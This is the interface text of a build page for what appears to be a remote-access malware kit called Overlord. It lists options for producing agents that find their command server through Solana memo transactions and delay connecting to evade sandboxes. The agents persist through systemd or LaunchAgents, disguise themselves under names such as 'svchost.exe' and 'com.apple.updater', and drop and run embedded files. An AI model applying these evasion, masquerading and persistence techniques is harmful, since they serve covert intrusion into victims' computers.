Build customized Overlord client agents
Profiles are saved per user on the server and can be exported/imported as JSON files.
When enabled, the URL above must be a raw HTTPS link with one wss:// endpoint per line.
Client will query these endpoints to find the encrypted server URL from the Solana address's memo transactions.
Optional: Custom name prefix for output binaries (letters, numbers, . _ - only)
Bundle identifier for the iOS IPA package (e.g. com.example.myapp). Used in Info.plist.
com.example.myapp
Optional: set a fixed key or leave empty to auto-generate
Alphanumeric seed for reproducible builds
Sleep N seconds before connecting (anti-sandbox). Set to 0 to disable.
Uses user-level systemd service when available; falls back to desktop autostart.
systemd
Uses LaunchAgents for login persistence. The startup name is used as the plist label and must start with com. (e.g. com.apple.updater).
LaunchAgents
com.
com.apple.updater
Custom name for the installed executable. On Windows: used as filename (svchost → svchost.exe). On macOS: also used as the LaunchAgent label — must start with com. (e.g. com.apple.updater).Leave blank for a default randomized name.
svchost
svchost.exe
Files are embedded inside the agent binary and written to a temp directory when the agent starts. Up to 5 files, 50 MB each. Files set to Execute are launched immediately after being dropped.
Checking eligible clients...